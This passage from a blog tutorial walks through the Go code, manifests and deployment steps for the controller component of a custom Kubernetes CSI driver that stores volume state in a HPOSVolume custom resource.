levels of the same question.</p><p><strong>Probe</strong></p><p>Probe is the health check RPC. Kubernetes calls it periodically to verify the driver is alive and ready to serve requests.</p><pre>func (d *Driver) Probe(ctx context.Context, req *csi.ProbeRequest) (*csi.ProbeResponse, error) {<br> // Controller Service will make dry-run EC2 call to ensure proper auth/networking<br> if !d.healthy {<br><br>  return &amp;csi.ProbeResponse{}, status.Errorf(codes.FailedPrecondition, &quot;Failed health check&quot;)<br> }<br><br> return &amp;csi.ProbeResponse{}, nil<br>}</pre><p>We track a <strong>healthy boolean</strong> on the Driver struct. It is set to <strong>true</strong> in <strong>Run()</strong> once the gRPC server starts successfully. If the driver is not healthy for example if initialization failed. Probe returns a FailedPrecondition error and Kubernetes knows not to route requests to this instance.</p><h4>3.3 Capability RPCs</h4><p>GetPluginCapabilities tells the sidecars which services exist. Now they need to go one level deeper, which specific RPCs are implemented inside each service. This is what <strong>ControllerGetCapabilities and NodeGetCapabilities </strong>are for.</p><p><strong>ControllerGetCapabilities</strong></p><pre>var (<br> // controllerCaps represents the capability of controller service.<br> controllerCaps = []csi.ControllerServiceCapability_RPC_Type{<br>  csi.ControllerServiceCapability_RPC_CREATE_DELETE_VOLUME,<br>  csi.ControllerServiceCapability_RPC_CLONE_VOLUME,<br>  csi.ControllerServiceCapability_RPC_PUBLISH_UNPUBLISH_VOLUME,<br>  csi.ControllerServiceCapability_RPC_CREATE_DELETE_SNAPSHOT,<br>  csi.ControllerServiceCapability_RPC_LIST_SNAPSHOTS,<br>  csi.ControllerServiceCapability_RPC_EXPAND_VOLUME,<br>  csi.ControllerServiceCapability_RPC_MODIFY_VOLUME,<br> }<br>)<br><br>func (cs *ControllerService) ControllerGetCapabilities(ctx context.Context, req *csi.ControllerGetCapabilitiesRequest) (*csi.ControllerGetCapabilitiesResponse, error) {<br><br> caps := make([]*csi.ControllerServiceCapability, 0, len(controllerCaps))<br> for _, capability := range controllerCaps {<br>  c := &amp;csi.ControllerServiceCapability{<br>   Type: &amp;csi.ControllerServiceCapability_Rpc{<br>    Rpc: &amp;csi.ControllerServiceCapability_RPC{<br>     Type: capability,<br>    },<br>   },<br>  }<br>  caps = append(caps, c)<br> }<br> return &amp;csi.ControllerGetCapabilitiesResponse{Capabilities: caps}, nil<br><br>}</pre><ul><li>The capabilities list is defined as a package-level variable clean and easy to update as you add more RPCs. The function itself just converts that list into the protobuf format the CSI spec expects.</li><li>The key insight here: even if you implement CreateVolume and DeleteVolume correctly, if you do not include `CREATE_DELETE_VOLUME` in this list, external-provisioner will never call it. The capability list is your driver’s contract with the sidecars , it tells them exactly what they are allowed to call. Get this wrong and nothing works, with no obvious error telling you why.</li></ul><p><strong>NodeGetCapabilities and NodeGetInfo are covered in Part 5</strong> when we build the node component. They follow the same pattern but are called by kubelet instead of the sidecars.</p><h3><strong>4. Project Structure</strong></h3><p>Before jumping into the code, let’s look at how the project is structured. A clean structure makes it easy to follow which code belongs to which component.</p><pre>csi-driver-hostpath-on-steriod/<br>  cmd/<br>    main.go              <br>  pkg/<br>    driver/<br>      constant.go        <br>      driver.go          <br>      identity.go        <br>      controller.go      <br>      node.go            <br>    apis/<br>      v1/<br>        types.go         <br>        scheme.go        <br>        zz_generated_deepcopy.go<br>    clientgo/<br>      client.go          <br>    util/<br>      util.go            <br>  manifests/<br>    controller.yaml      <br>    node.yaml            <br>    csidriver.yaml       <br>    sc.yaml              <br>    sa.yaml              <br>    clusterrole_provisioner.yaml<br>    clusterrolebinding_provisioner.yaml<br>    crds/<br>      hpos-crd.yaml      <br>    examples/<br>      pvc.yaml<br>      pod.yaml<br>  scripts/<br>    e2e.sh               <br>    cleanup.sh          <br>  Taskfile.yml           <br>  Dockerfile<br>  go.mod</pre><p>The most important thing to notice is that <strong>controller.go and node.go</strong> are completely separate. This maps directly to the two-component model from Part 1, <em>the controller component and the node component are independent gRPC servers that happen to share the same binary.</em> The <strong>-mode flag </strong>decides which one starts.</p><h3><strong>5. Wiring it Together</strong></h3><p>Let’s start from the entry point(main.go) and work our way down.</p><p><strong>main.go</strong></p><pre>func main() {<br>    var (<br>        endpoint  = flag.String(&quot;endpoint&quot;, &quot;unix:///var/run/csi.sock&quot;, &quot;Unix Domain Socket Path&quot;)<br>        mode      = flag.String(&quot;mode&quot;, &quot;controller&quot;, &quot;controller, node or all&quot;)<br>        name      = flag.String(&quot;name&quot;, &quot;csi.driver.hostpath.on.steriod&quot;, &quot;Name of the CSI Driver&quot;)<br>    )<br>    flag.Parse()<br><br>    d, err := driver.NewDriver(&amp;driver.Options{<br>        Mode:     driver.Mode(*mode),<br>        Endpoint: *endpoint,<br>        Name:     *name,<br>    })<br>    if err != nil {<br>        klog.ErrorS(err, &quot;Error during driver initialization&quot;)<br>        os.Exit(1)<br>    }<br><br>    if err := d.Run(); err != nil {<br>        klog.ErrorS(err, &quot;Error running the driver&quot;)<br>        os.Exit(1)<br>    }<br>}</pre><p><strong>Three flags</strong>: endpoint, mode, and name. The <strong>-mode flag</strong> is the key one. When the controller Deployment starts the driver container, it passes <strong>-mode=controller</strong>. When the node DaemonSet starts it, it passes <strong>-mode=node</strong>. Same binary, two different behaviors.</p><p><strong>Looking at the controller Deployment manifest:</strong></p><pre>containers:<br>  - name: csi-driver<br>    image: shilucloud/csi-driver-hostpath-on-steriod:local<br>    args:<br>      - --endpoint=unix:///var/run/csi.sock<br>      - --mode=controller<br>      - --name=csi.driver.hostpath.on.steriod</pre><p><strong>And the node DaemonSet:</strong></p><pre>containers:<br>  - name: csi-driver<br>    image: shilucloud/csi-driver-hostpath-on-steriod:local<br>    args:<br>      - --endpoint=unix:///var/run/csi.sock<br>      - --mode=node<br>      - --name=csi.driver.hostpath.on.steriod</pre><p>Same image, different mode. This is a common pattern in production CSI drivers.</p><p><strong>driver.go</strong></p><pre>type Driver struct {<br>    csi.UnimplementedIdentityServer<br>    controller    *ControllerService<br>    node          *NodeService<br>    driverName    string<br>    driverVersion string<br>    options       Options<br>    srv           *grpc.Server<br>    healthy       bool<br>}<br><br>func NewDriver(options *Options) (*Driver, error) {<br>    driver := Driver{<br>        driverName: options.Name,<br>        options:    *options,<br>    }<br><br>    goClient, err := clientgo.NewK8sClient()<br>    if err != nil {<br>        return nil, fmt.Errorf(&quot;error creating Kubernetes client: %w&quot;, err)<br>    }<br><br>    switch options.Mode {<br>    case ControllerMode:<br>        driver.controller = NewControllerService(goClient)<br>    case NodeMode:<br>        driver.node = NewNodeService()<br>    case AllMode:<br>        driver.controller = NewControllerService(goClient)<br>        driver.node = NewNodeService()<br>    }<br><br>    return &amp;driver, nil<br>}</pre><p>The Driver struct embeds <strong>csi.UnImplementedIdentityService</strong>. This is important. The CSI spec requires every component to implement the Identity Service. By embedding the unimplemented server, we get default implementations for all Identity RPCs that return <strong>UnImplemented errors</strong>. We then override only the ones we need GetPluginInfo, GetPluginCapabilities, and Probe in identity.go.</p><p>The <strong>NewDriver function </strong>creates either a controller, node, or both based on the mode. Only the controller mode needs the Kubernetes client the node component works purely at the OS level and doesn&#39;t need to talk to the Kubernetes API.</p><h4>Run()</h4><pre>func (d *Driver) Run() error {<br>    scheme, addr, err := util.ParseEndpoint(d.options.Endpoint)<br>    if err != nil {<br>        return err<br>    }<br><br>    listener, err := net.Listen(scheme, addr)<br>    if err != nil {<br>        return err<br>    }<br><br>    d.srv = grpc.NewServer()<br>    csi.RegisterIdentityServer(d.srv, d)<br><br>    switch d.options.Mode {<br>    case ControllerMode:<br>        csi.RegisterControllerServer(d.srv, d.controller)<br>    case NodeMode:<br>        csi.RegisterNodeServer(d.srv, d.node)<br>    case AllMode:<br>        csi.RegisterControllerServer(d.srv, d.controller)<br>        csi.RegisterNodeServer(d.srv, d.node)<br>    }<br><br>    d.healthy = true<br>    return d.srv.Serve(listener)<br>}<br></pre><p><strong>Three Things happens here,</strong></p><ul><li>First, We parse the endpoint(unix:///var/run/csi.sock) using <strong>ParseEndpoint function</strong> which returns the scheme=unix and addr=/var/run/csi.sock.</li></ul><pre>func ParseEndpoint(endpoint string) (string, string, error) {<br><br> u, err := url.Parse(endpoint)<br> if err != nil {<br>  return &quot;&quot;, &quot;&quot;, fmt.Errorf(&quot;could not parse endpoint: %w&quot;, err)<br> }<br><br> addr := filepath.Join(u.Host, filepath.FromSlash(u.Path))<br><br> scheme := strings.ToLower(u.Scheme)<br> switch scheme {<br> case &quot;tcp&quot;:<br> case &quot;unix&quot;:<br>  addr = filepath.Join(&quot;/&quot;, addr)<br>  if err := os.Remove(addr); err != nil &amp;&amp; !os.IsNotExist(err) {<br>   return &quot;&quot;, &quot;&quot;, fmt.Errorf(&quot;could not remove unix domain socket %q: %w&quot;, addr, err)<br>  }<br> default:<br>  return &quot;&quot;, &quot;&quot;, fmt.Errorf(&quot;unsupported protocol: %s&quot;, scheme)<br> }<br><br> return scheme, addr, nil<br>}</pre><ul><li><strong>Second</strong>, We create gRPC server and register the services. The identity service always will be registered bcoz both controller and node need to implement it. Then we register a Controller component or Node component based on mode.</li><li><strong>Third</strong>, We set d.healthy=true, before we call Serve().</li></ul><h3><strong>6. The HPOSVolume CRD</strong></h3><p>One of the key design decision i have taken in this CSI Driver is creating a CustomResource (hposvolume), it stores the state of the volume, instead of using local files. We will look into the reason behind it,</p><p>In real cloud drivers like AWS, Azure, GCP, <strong>state is stored in the cloud itself</strong>. eg: the volume exists in EC2, the volume tracked by the EC2 itself. The driver just makes a api call and gets the current state.</p><p>Our Driver has no cloud state, Driver need somewhere to store.</p><ul><li>Does the volume exists?</li><li>Which node is this pinned to?</li><li>What size is it?</li><li>Is it currently attached?</li></ul><p>We could store this in a local file on the controller pod. But if the controller pod restarts, that file is gone .we lose all state and the driver breaks.</p><p>Instead we store it in a Kubernetes Custom Resource called HPOSVolume:</p><pre>type HPOSVolumeSpec struct {<br>    VolID    string `json:&quot;volID&quot;`<br>    NodeName string `json:&quot;nodeName&quot;`<br>    ByteSize string `json:&quot;byteSize&quot;`<br>    FsType   string `json:&quot;fsType&quot;`<br>}<br><br>type HPOSVolumeStatus struct {<br>    Phase        string `json:&quot;phase&quot;`<br>    AttachedNode string `json:&quot;attachedNode&quot;`<br>}<br><br>type HPOSVolume struct {<br>    metav1.TypeMeta   `json:&quot;,inline&quot;`<br>    metav1.ObjectMeta `json:&quot;metadata,omitempty&quot;`<br>    Spec              HPOSVolumeSpec   `json:&quot;spec&quot;`<br>    Status            HPOSVolumeStatus `json:&quot;status,omitempty&quot;`<br>}</pre><p>The Spec contains the desired state, what we set when the volume is created and never change. The Status contains the actual state what phase the volume is in and which node it is attached to. This follows the standard Kubernetes <strong>spec/status pattern.</strong></p><p>Now when the controller pod restarts, it just reads the HPOSVolume objects from the Kubernetes API and has full state immediately. You can also inspect state directly:</p><pre>kubectl get hposvolume<br>kubectl describe hposvolume &lt;vol-id&gt;</pre><p>This is far more debuggable than a hidden local file. It also means the state survives not just pod restarts but even full cluster restarts as long as etcd is intact.</p><h3><strong>7. CreateVolume</strong></h3><p>CreateVolume is called by external-provisioner when a PVC needs a new volume. It receives the desired capacity, parameters from the StorageClass, and topology requirements from the scheduler.</p><pre>func (cs *ControllerService) CreateVolume(ctx context.Context, req *csi.CreateVolumeRequest) (*csi.CreateVolumeResponse, error) {<br> klog.InfoS(&quot;Received CreateVolume request&quot;, &quot;request&quot;, req)<br><br> if req.Name == &quot;&quot; {<br>  return nil, status.Error(codes.InvalidArgument, &quot;name must be provided&quot;)<br> }<br><br> byteSize := req.CapacityRange.GetRequiredBytes()<br> if byteSize == 0 {<br>  byteSize = 1 * 1024 * 1024 * 1024<br> }<br><br> var node string<br> if req.AccessibilityRequirements != nil {<br>  if len(req.AccessibilityRequirements.Preferred) &gt; 0 {<br>   node = req.AccessibilityRequirements.Preferred[0].Segments[&quot;kubernetes.io/hostname&quot;]<br>  }<br>  if node == &quot;&quot; &amp;&amp; len(req.AccessibilityRequirements.Requisite) &gt; 0 {<br>   node = req.AccessibilityRequirements.Requisite[0].Segments[&quot;kubernetes.io/hostname&quot;]<br>  }<br> }<br> if node == &quot;&quot; {<br>  return nil, status.Error(codes.InvalidArgument, &quot;no node found in topology&quot;)<br> }<br><br> fsType := req.Parameters[&quot;fsType&quot;]<br> if fsType == &quot;&quot; {<br>  fsType = &quot;xfs&quot;<br> }<br><br> volID := req.Name + &quot;-&quot; + node<br><br> // idempotency check<br> existingVol := &amp;hposv1.HPOSVolume{}<br> err := cs.goClient.Get(ctx, client.ObjectKey{Name: volID}, existingVol)<br> if err == nil {<br>  // volume already exists — return stored values not request values<br>  klog.InfoS(&quot;volume already exists&quot;, &quot;volID&quot;, volID)<br>  existingBytes, _ := strconv.ParseInt(existingVol.Spec.ByteSize, 10, 64)<br>  return &amp;csi.CreateVolumeResponse{<br>   Volume: &amp;csi.Volume{<br>    VolumeId:      existingVol.Spec.VolID,<br>    CapacityBytes: existingBytes,<br>    AccessibleTopology: []*csi.Topology{{<br>     Segments: map[string]string{<br>      &quot;kubernetes.io/hostname&quot;: existingVol.Spec.NodeName,<br>     },<br>    }},<br>    VolumeContext: map[string]string{<br>     &quot;fsType&quot;:   existingVol.Spec.FsType,<br>     &quot;volID&quot;:    existingVol.Spec.VolID,<br>     &quot;byteSize&quot;: existingVol.Spec.ByteSize,<br>    },<br>   },<br>  }, nil<br> } else if !apierrors.IsNotFound(err) {<br>  return nil, status.Errorf(codes.Internal, &quot;failed to check existing volume: %v&quot;, err)<br> }<br><br> // create new CR<br> vol := &amp;hposv1.HPOSVolume{<br>  ObjectMeta: metav1.ObjectMeta{Name: volID},<br>  Spec: hposv1.HPOSVolumeSpec{<br>   VolID:    volID,<br>   NodeName: node,<br>   ByteSize: strconv.FormatInt(byteSize, 10),<br>   FsType:   fsType,<br>  },<br> }<br> if err = cs.goClient.Create(ctx, vol); err != nil {<br>  return nil, status.Errorf(codes.Internal, &quot;error creating HPOSVolume: %v&quot;, err)<br> }<br><br> // update status separately<br> vol.Status.Phase = &quot;created&quot;<br> if err = cs.goClient.Status().Update(ctx, vol); err != nil {<br>  klog.ErrorS(err, &quot;failed to update status&quot;, &quot;volID&quot;, volID)<br> }<br><br> klog.InfoS(&quot;volume created&quot;, &quot;volID&quot;, volID, &quot;node&quot;, node, &quot;byteSize&quot;, byteSize)<br><br> // this is for example (list volume)<br> klog.InfoS(&quot;current volume list after creation&quot;)<br> listVolReq := csi.ListVolumesRequest{MaxEntries: 2}<br> volumeList, err := cs.ListVolumes(ctx, &amp;listVolReq)<br> klog.InfoS(&quot;vol list&quot;, &quot;vol&quot;, volumeList)<br><br> return &amp;csi.CreateVolumeResponse{<br>  Volume: &amp;csi.Volume{<br>   VolumeId:      volID,<br>   CapacityBytes: byteSize,<br>   AccessibleTopology: []*csi.Topology{{<br>    Segments: map[string]string{<br>     &quot;kubernetes.io/hostname&quot;: node,<br>    },<br>   }},<br>   VolumeContext: map[string]string{<br>    &quot;fsType&quot;:   fsType,<br>    &quot;volID&quot;:    volID,<br>    &quot;byteSize&quot;: strconv.FormatInt(byteSize, 10),<br>   },<br>  },<br> }, nil<br>}</pre><p><strong>Four things worth highlighting:</strong></p><p><strong>Topology: </strong>we read <strong>preferred[0]</strong> from <strong>AccessbilityRequirements</strong> first. This is the node the scheduler picked when using <strong>WaitForFirstConsumer</strong>. If <strong>preferred</strong> is <strong>empty</strong> we fall back to <strong>requisite[0]</strong>. We covered exactly why this matters in <strong>Part 2</strong> the volume must be created in the same zone as the node the pod will run on.</p><p><strong>VolumeID construction: </strong>we use <strong>req.Name + “-” + node</strong> as the <strong>volume ID</strong>. This embeds the node name directly into the ID, which means we always know which node a volume belongs to just from its ID no extra lookup needed.</p><p><strong>Idempotency: </strong>we check if an HPOSVolume CR already exists before creating a new one. <strong>The CSI spec requires CreateVolume to be idempotent</strong>. If called twice with the same name , which happens when external-provisioner retries after a timeout , we return the existing volume instead of creating a duplicate.</p><p><strong>VolumeContext</strong> : we pass<strong> fsType, volID, and byteSize </strong>back in VolumeContext. These get stored in the PV and passed to <strong>NodeStageVolume</strong> later. This is how the node component knows what filesystem to format the device with.</p><h3><strong>8. DeleteVolume</strong></h3><p>DeleteVolume is called by external-provisioner when a PVC is deleted and the reclaimPolicy is Delete. Our driver needs to delete the <strong>HPOSVolume CR</strong> and clean up the <strong>.img file</strong> on the node.</p><pre>func (cs *ControllerService) DeleteVolume(ctx context.Context, req *csi.DeleteVolumeRequest) (*csi.DeleteVolumeResponse, error) {<br> klog.InfoS(&quot;Received DeleteVolume request&quot;, &quot;volID&quot;, req.VolumeId)<br><br> vol := &amp;hposv1.HPOSVolume{}<br> if err := cs.goClient.Get(ctx, client.ObjectKey{Name: req.VolumeId}, vol); err != nil {<br>  if apierrors.IsNotFound(err) {<br>   klog.InfoS(&quot;Volume already deleted, idempotent return&quot;, &quot;volID&quot;, req.VolumeId)<br>   return &amp;csi.DeleteVolumeResponse{}, nil<br>  }<br>  klog.ErrorS(err, &quot;Failed to get volume&quot;, &quot;volID&quot;, req.VolumeId)<br>  return nil, status.Errorf(codes.Internal, &quot;failed to delete volume, internal error: %v&quot;, err)<br> }<br><br> nodeName := vol.Spec.NodeName<br> imgPath := fmt.Sprintf(&quot;/var/lib/hpos/%s.img&quot;, req.VolumeId)<br> jobName := &quot;cleanup-&quot; + req.VolumeId[:16] // truncate for k8s name limit<br><br> klog.InfoS(&quot;Creating cleanup job to delete image file on node&quot;, &quot;node&quot;, nodeName, &quot;imgPath&quot;, imgPath)<br><br> // create cleanup job on the target node<br> job := &amp;batchv1.Job{<br>  ObjectMeta: metav1.ObjectMeta{<br>   Name:      jobName,<br>   Namespace: cs.namespace,<br>  },<br>  Spec: batchv1.JobSpec{<br>   TTLSecondsAfterFinished: util.Int32Ptr(60),<br>   Template: corev1.PodTemplateSpec{<br>    Spec: corev1.PodSpec{<br>     RestartPolicy: corev1.RestartPolicyNever,<br>     NodeSelector: map[string]string{<br>      &quot;kubernetes.io/hostname&quot;: nodeName,<br>     },<br>     Containers: []corev1.Container{{<br>      Name:    &quot;cleanup&quot;,<br>      Image:   &quot;busybox&quot;,<br>      Command: []string{&quot;rm&quot;, &quot;-f&quot;, imgPath},<br>      VolumeMounts: []corev1.VolumeMount{{<br>       Name:      &quot;hpos-data&quot;,<br>       MountPath: &quot;/var/lib/hpos&quot;,<br>      }},<br>     }},<br>     Volumes: []corev1.Volume{{<br>      Name: &quot;hpos-data&quot;,<br>      VolumeSource: corev1.VolumeSource{<br>       HostPath: &amp;corev1.HostPathVolumeSource{<br>        Path: &quot;/var/lib/hpos&quot;,<br>       },<br>      },<br>     }},<br>    },<br>   },<br>  },<br> }<br><br> if err := cs.goClient.Create(ctx, job); err != nil &amp;&amp; !apierrors.IsAlreadyExists(err) {<br>  klog.ErrorS(fmt.Errorf(&quot;failed to create cleanup job&quot;), &quot;Failed to create cleanup job&quot;, &quot;job&quot;, jobName, &quot;node&quot;, nodeName, &quot;imgPath&quot;, imgPath, &quot;error&quot;, err)<br>  return nil, status.Errorf(codes.Internal, &quot;failed to create cleanup job: %v&quot;, err)<br> }<br> klog.InfoS(&quot;Cleanup job created&quot;, &quot;job&quot;, jobName, &quot;node&quot;, nodeName, &quot;imgPath&quot;, imgPath)<br><br> // delete the CR<br> if err := cs.goClient.Delete(ctx, vol); err != nil {<br>  klog.ErrorS(err, &quot;Failed to delete volume CR&quot;, &quot;volID&quot;, req.VolumeId)<br>  return nil, status.Errorf(codes.Internal, &quot;failed to delete volume CR: %v&quot;, err)<br> }<br><br> klog.InfoS(&quot;Successfully deleted volume&quot;, &quot;volID&quot;, req.VolumeId)<br> return &amp;csi.DeleteVolumeResponse{}, nil<br>}</pre><p><strong>Two things worth highlighting:</strong></p><p><strong>The cleanup Job: </strong>the controller pod can run on any node but the <strong>.img file</strong> lives on a specific node. We cannot delete it directly from the controller. Instead we create a Kubernetes Job with a NodeSelector pinning it to the correct node(we can get the info from hposvolume Resource), <strong>mount the hostPath /var/run/hpos , and run rm -r on the image file.</strong> The Job auto-deletes itself after 60 seconds via TTLSecondsAfterFinished.</p><p><strong>Idempotency: </strong>if the <strong>HPOSVolume CR</strong> is already gone we return success immediately. DeleteVolume must be idempotent, if called twice the second call should not fail just because the volume is already deleted.</p><h3><strong>9. ControllerPublishVolume</strong></h3><p><strong>ControllerPublishVolume</strong> is called by <strong>external-attacher</strong> when it sees a <strong>VolumeAttachment</strong> object with <strong>status.attached=false</strong>. In a real cloud driver this is where you call the cloud API to physically attach a disk to a node. In our driver we simulate this by updating the <strong>HPOSVolume status and returning the imgPath.</strong></p><pre>unc (cs *ControllerService) ControllerPublishVolume(ctx context.Context, req *csi.ControllerPublishVolumeRequest) (*csi.ControllerPublishVolumeResponse, error) {<br> klog.InfoS(&quot;Received ControllerPublishVolume request&quot;, &quot;volID&quot;, req.VolumeId, &quot;nodeID&quot;, req.NodeId)<br><br> if req.VolumeId == &quot;&quot; {<br>  return nil, status.Error(codes.InvalidArgument, &quot;VolumeId must be provided&quot;)<br> }<br> if req.NodeId == &quot;&quot; {<br>  return nil, status.Error(codes.InvalidArgument, &quot;NodeId must be provided&quot;)<br> }<br><br> vol := &amp;hposv1.HPOSVolume{}<br> if err := cs.goClient.Get(ctx, client.ObjectKey{Name: req.VolumeId}, vol); err != nil {<br>  if apierrors.IsNotFound(err) {<br>   return nil, status.Errorf(codes.NotFound, &quot;volume %s not found&quot;, req.VolumeId)<br>  }<br>  return nil, status.Errorf(codes.Internal, &quot;failed to get volume: %v&quot;, err)<br> }<br><br> klog.InfoS(&quot;Found volume CR&quot;, &quot;volID&quot;, req.VolumeId, &quot;specNode&quot;, vol.Spec.NodeName, &quot;phase&quot;, vol.Status.Phase)<br><br> imgPath := fmt.Sprintf(&quot;/var/lib/hpos/%s.img&quot;, req.VolumeId)<br><br> // idempotency — already attached to this node<br> if vol.Status.Phase == &quot;attached&quot; &amp;&amp; vol.Status.AttachedNode == req.NodeId {<br>  klog.InfoS(&quot;Volume already attached to requested node, idempotent return&quot;, &quot;volID&quot;, req.VolumeId)<br>  return &amp;csi.ControllerPublishVolumeResponse{<br>   PublishContext: map[string]string{&quot;imgPath&quot;: imgPath},<br>  }, nil<br> }<br><br> // attached to a DIFFERENT node — error<br> if vol.Status.Phase == &quot;attached&quot; &amp;&amp; vol.Status.AttachedNode != req.NodeId {<br>  return nil, status.Errorf(codes.FailedPrecondition,<br>   &quot;volume %s already attached to node %s&quot;,<br>   req.VolumeId, vol.Status.AttachedNode)<br> }<br><br> // node mismatch — volume belongs to different node<br> if vol.Spec.NodeName != req.NodeId {<br>  return nil, status.Errorf(codes.InvalidArgument,<br>   &quot;volume %s belongs to node %s, not %s&quot;,<br>   req.VolumeId, vol.Spec.NodeName, req.NodeId)<br> }<br><br> vol.Status.Phase = &quot;attached&quot;<br> vol.Status.AttachedNode = req.NodeId<br> if err := cs.goClient.Status().Update(ctx, vol); err != nil {<br>  return nil, status.Errorf(codes.Internal, &quot;failed to update status: %v&quot;, err)<br> }<br><br> klog.InfoS(&quot;Volume attached successfully&quot;, &quot;volID&quot;, req.VolumeId, &quot;node&quot;, req.NodeId)<br> return &amp;csi.ControllerPublishVolumeResponse{<br>  PublishContext: map[string]string{&quot;imgPath&quot;: imgPath},<br> }, nil<br>}</pre><p><strong>Three things worth highlighting:</strong></p><p><strong>PublishContext: </strong>we return <strong>imgPath</strong> in the <strong>PublishContext map</strong>. This is how the controller component communicates with the node component. The external-attacher stores this in <strong>VolumeAttachment.status.attachmentMetadata</strong> and kubelet passes it to NodeStageVolume as <strong>PublishContext</strong>.</p><p><strong>Idempotency with two cases: </strong>if the volume is already attached to the requested node we return success. If it is attached to a different node we return <strong>FailedPreCondition</strong> a block device can only be attached to one node at a time. This is the correct CSI error code for this situation.</p><p><strong>No actual attachment: </strong>unlike a real cloud driver, we do not call any external API here. We just update the <strong>HPOSVolume status to attached:true</strong>. The actual image file creation and loop device attachment happens in NodeStageVolume on the node where the pod is scheduled.</p><h3><strong>10. ControllerUnpublishVolume</strong></h3><p>ControllerUnpublishVolume is called by external-attacher when the VolumeAttachment object is being deleted triggered by pod deletion. In a real cloud driver this is where you call the cloud API to detach the disk from the node.</p><pre>func (cs *ControllerService) ControllerUnpublishVolume(ctx context.Context, req *csi.ControllerUnpublishVolumeRequest) (*csi.ControllerUnpublishVolumeResponse, error) {<br> klog.InfoS(&quot;ControllerUnpublishVolume is called&quot;, &quot;volID&quot;, req.VolumeId, &quot;nodeID&quot;, req.NodeId)<br><br> vol := &amp;hposv1.HPOSVolume{}<br> if err := cs.goClient.Get(ctx, client.ObjectKey{Name: req.VolumeId}, vol); err != nil {<br>  if apierrors.IsNotFound(err) {<br>   klog.InfoS(&quot;Volume not found, idempotent return&quot;,<br>    &quot;volID&quot;, req.VolumeId)<br>   return &amp;csi.ControllerUnpublishVolumeResponse{}, nil<br>  }<br>  klog.ErrorS(err, &quot;Failed to get volume&quot;, &quot;volID&quot;, req.VolumeId)<br>  return nil, status.Errorf(codes.Internal, &quot;failed to get volume: %v&quot;, err)<br> }<br> vol.Status.Phase = &quot;detached&quot;<br> vol.Status.AttachedNode = &quot;&quot;<br><br> if err := cs.goClient.Status().Update(ctx, vol); err != nil {<br>  klog.ErrorS(err, &quot;Failed to update volume status to detached and attachednode to empty&quot;, &quot;volID&quot;, req.VolumeId)<br>  return nil, status.Errorf(codes.Internal, &quot;failed to update status and attachednode: %v&quot;, err)<br> }<br><br> klog.InfoS(&quot;Detached the Volume Successfully&quot;, &quot;volID&quot;, req.VolumeId)<br><br> return &amp;csi.ControllerUnpublishVolumeResponse{}, nil<br>}</pre><p>The <strong>IsNotFound idempotency check</strong> here is critical. DeleteVolume may have already deleted the HPOSVolume CR before ControllerUnpublishVolume is called this can happen in race conditions during PVC deletion. If we returned an error here instead of success, the external-attacher would keep retrying, the VolumeAttachment finalizer would never be removed, and the VolumeAttachment object would be stuck in Terminating state forever. Returning success on NotFound is the correct CSI spec behavior.</p><h3><strong>11. ListVolumes</strong></h3><p>ListVolumes is an optional RPC that returns all volumes managed by this driver. We implement it by listing all HPOSVolume CRs.</p><pre>func (cs *ControllerService) ListVolumes(ctx context.Context, req *csi.ListVolumesRequest) (*csi.ListVolumesResponse, error) {<br>    volumeList := &amp;hposv1.HPOSVolumeList{}<br>    if err := cs.goClient.List(ctx, volumeList); err != nil {<br>        return nil, status.Errorf(codes.Internal, &quot;failed to list volumes: %v&quot;, err)<br>    }<br><br>    items := volumeList.Items<br>    if req.MaxEntries &gt; 0 &amp;&amp; int(req.MaxEntries) &lt; len(items) {<br>        items = items[:req.MaxEntries]<br>    }<br><br>    volumes := make([]*csi.ListVolumesResponse_Entry, 0, len(items))<br>    for _, vol := range items {<br>        byteSize, _ := strconv.ParseInt(vol.Spec.ByteSize, 10, 64)<br><br>        var publishedNodes []string<br>        if vol.Status.AttachedNode != &quot;&quot; {<br>            publishedNodes = []string{vol.Status.AttachedNode}<br>        }<br><br>        volumes = append(volumes, &amp;csi.ListVolumesResponse_Entry{<br>            Volume: &amp;csi.Volume{<br>                VolumeId:      vol.Spec.VolID,<br>                CapacityBytes: byteSize,<br>            },<br>            Status: &amp;csi.ListVolumesResponse_VolumeStatus{<br>                PublishedNodeIds: publishedNodes,<br>            },<br>        })<br>    }<br><br>    return &amp;csi.ListVolumesResponse{Entries: volumes}, nil<br>}</pre><p>ListVolumes is not called by any sidecar during the normal provisioning flow it is used by external tools and dashboards to inspect driver state. We also call it ourselves inside CreateVolume just to log the current volume list after creation useful for debugging during development. So this is one of the reason to have a <strong>HPOSVolume CR.</strong></p><h3><strong>12. Putting it all Together — Deploy and Test</strong></h3><p>Let’s deploy the controller component and verify everything works end to end.</p><p><strong>First, make sure you have a kind cluster running:</strong></p><pre>kind create cluster</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L5ANGR7WE3AISRGamLehNw.png" /></figure><p>In my case it is already exist.</p><p><strong>Build and load the image:</strong></p><pre>task docker-build</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zij8jro64Apc0bieKIlQcw.png" /></figure><p><strong>Apply all manifests:</strong></p><pre># create namespace first<br>kubectl create namespace testing<br><br># apply everything<br>task apply</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j4Xz0xeUoUAy0ixQwGGhOg.png" /></figure><p><strong>Verify the CSIDriver object is registered:</strong></p><pre>kubectl get csidriver</pre><p>And check whether attachRequired: true.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KudUAgNKGf2YdKcAqBLo0w.png" /></figure><p><strong>Create a PVC:</strong></p><pre>kubectl apply -f manifests/examples/pvc.yaml</pre><p>Watch the PVC get bound:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RGp23oy-bmxCEby7YkgrHg.png" /></figure><p><strong>Check the HPOSVolume CR was created:</strong></p><pre>kubectl get hposvolume</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Viz3o5mllclOLnLUqTT4WA.png" /></figure><p>Check the controller logs to see the full CreateVolume flow:</p><pre>task logs-controller</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zovOWmBIzKUgACwuKrUdKQ.png" /></figure><p><strong>Run the full e2e test:</strong></p><pre>task e2e</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZROQr7VsCsXNKo8js8VhnQ.png" /></figure><h3>13. Conclusion</h3><p>We started this article with a complete understanding of the CSI flow from <strong>Parts 1 through 3</strong>. We ended it with a working controller component that provisions and attaches volumes on a real kind cluster. The controller component implements five things that together cover the complete volume lifecycle: <strong>The Identity Service</strong> tells Kubernetes and the sidecars who we are, what we support, and whether we are 